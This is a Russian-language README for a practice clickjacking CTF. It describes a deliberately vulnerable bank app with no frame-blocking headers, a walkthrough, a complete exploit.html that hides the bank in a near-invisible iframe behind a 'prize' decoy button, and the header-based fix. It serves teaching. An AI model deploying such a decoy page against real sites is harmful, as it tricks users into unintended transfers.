Skip to content

Repository files navigation

Clickjacking в банковской системе

Описание уязвимости

Clickjacking - атака, при которой злоумышленник встраивает целевой сайт в невидимый iframe и накладывает поверх него свои элементы. Жертва думает, что кликает по кнопке на сайте злоумышленника, но на самом деле взаимодействует со скрытым элементом целевого сайта.

Причина уязвимости - отсутствие заголовков X-Frame-Options или Content-Security-Policy: frame-ancestors, которые запрещают встраивание сайта в iframe.

Сценарий атаки

Банковское приложение не защищено от встраивания в iframe. Администратор банка авторизован на внутреннем хосте web:80. Злоумышленник создаёт страницу с невидимым iframe, в который загружает интерфейс банка. Поверх кнопки «Перевести» размещает свою кнопку приманку. Когда администратор нажимает на приманку, банк выполняет перевод средств.

Цель: получить 5000 на свой счёт - тогда на странице появится флаг.


Особенности задания

  • Многопользовательский режим - у каждого участника свой аккаунт, флаг получает каждый кто успешно проведёт атаку, победа одного не мешает другим
  • Неисчерпаемый баланс администратора - баланс банка не уменьшается при переводах, все участники могут получить флаг независимо друг от друга
  • Регистрация - участник сам создаёт аккаунт. Зарегистрировать аккаунт admin невозможно
  • Получатель перевода задаётся участником в интерфейсе бота при отправке ссылки

Запуск

Требования

  • Docker Toolbox
  • Docker Compose

Быстрый старт

git clone https://github.com/validverify/clickjacking-ctf.git
cd clickjacking-ctf
docker-compose up --build

После запуска:

СервисАдрес
Банкhttp://localhost:8080
Интерфейс ботаhttp://localhost:5000

На Docker Toolbox (Windows) вместо localhost используйте IP машины: docker-machine ip - обычно 192.168.99.100


Переменные окружения (.env)

ПеременнаяОписаниеПо умолчанию
FLAGФлаг победыpractice{clickjacking_ctf}
WEB_PORTВнешний порт банка8080
ADMIN_USERЛогин администратораadmin
ADMIN_PASSПароль администратораadmin123
BOT_INTERFACE_PORTПорт интерфейса бота5000
TRANSFER_AMOUNTСумма перевода, которую выполняет бот5000

Структура проекта

clickjacking-ctf/
├── .env
├── .gitignore
├── docker-compose.yml
├── Dockerfile.web
├── Dockerfile.bot
├── README.md
├── bot/
│ ├── bot.py
│ └── requirements.txt
└── web/
├── index.php
└── style.css

Расположение уязвимости

Файл web/index.php - отсутствуют заголовки:

// Защита:header('X-Frame-Options: DENY');
// илиheader("Content-Security-Policy: frame-ancestors 'none';");

Далее будут присутствовать:DOCKER_MACHINE_IP - IP адрес машины Докер(bash > docker-machine ip)INTERNAL_MACHINE_IP - IP адрес внешней(основной) машины(host.docker.internal)

Proof of Concept - пошаговая эксплуатация

Шаг 1 - Зарегистрируйтесь

Откройте http://DOCKER_MACHINE_IP:8080 и создайте аккаунт через форму регистрации. Запомните свой логин - он понадобится при отправке ссылки боту.

Шаг 2 - Изучите интерфейс

После входа вы увидите макет формы администратора. Обратите внимание на:

  • поле to (получатель) - <select name="to">
  • поле amount (сумма) - <input name="amount">
  • кнопку с классом .transfer-btn

Шаг 3 - Найдите подсказку о домене

На странице входа есть подсказка: администратор авторизован на хосте web:80. Этот адрес нужно указать в src вашего iframe.

Шаг 4 - Создайте exploit.html

<!DOCTYPE html><html><head><title>Получите приз</title><style>body { margin:0; padding:20px; font-family: Arial; }
.victim-container {
position: relative;
width:500px;
height:600px;
margin:20px auto;
}
iframe {
position: absolute;
top:0;
left:0;
width:500px;
height:600px;
border: none;
opacity:0.5; /* для калибровки; в финале - 0.01 */z-index:2;
}
#decoy-btn {
position: absolute;
top:460px; /* подбирается под кнопку "Перевести" */left:150px;
width:200px;
height:45px;
z-index:1;
background:#4CAF50;
color: white;
font-size:16px;
cursor: pointer;
border: none;
}
</style></head><body><divclass="victim-container"><!-- web:80 - внутренний хост, где авторизован администратор --><iframesrc="http://web:80/index.php"></iframe><buttonid="decoy-btn">Нажми для приза</button></div></body></html>

Шаг 5 - Откалибруйте позицию кнопки

  1. Поставьте opacity: 0.5 у iframe, страница банка станет видна
  2. Меняйте top и left у #decoy-btn, пока кнопки не совпадут
  3. Когда совпало, верните opacity: 0.01

Шаг 6 - Запустите HTTP-сервер

В папке с exploit.html:

python3 -m http.server 8000

Проверьте: http://localhost:8000/exploit.html

Шаг 7 - Отправьте ссылку боту

Откройте http://DOCKER_MACHINE_IP:5000, заполните форму:

  • Ссылка:http://INTERNAL_MACHINE_IP:8000/exploit.html
  • Ваш логин: имя вашего аккаунта

Нажмите Отправить.

Шаг 8 - Получите флаг

Вернитесь на http://DOCKER_MACHINE_IP:8080 и войдите под своим аккаунтом. При балансе 5000 на странице появится флаг.

Как работает бот

Бот запускается вместе с приложением. При старте он уже авторизован как admin на web:80.

После получения ссылки бот:

  1. Открывает страницу злоумышленника
  2. Переключается в iframe с сайтом банка
  3. Находит форму перевода - select[name=to] и input[name=amount]
  4. Выбирает логин, указанный в форме бота, вводит сумму и нажимает «Перевести»

Это имитирует поведение реальной жертвы, кликающей по странице злоумышленника.

Защита от уязвимости

// 1. X-Frame-Optionsheader('X-Frame-Options: DENY');
// 2. Content-Security-Policyheader("Content-Security-Policy: frame-ancestors 'none';");

Добавьте любой из этих заголовков в начало index.php - и встраивание в iframe станет невозможным. Браузер заблокирует загрузку страницы внутри чужого сайта.

About

clickjacking-ctf - Это простой CTF для изучения уязвимости Clickjacking.

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages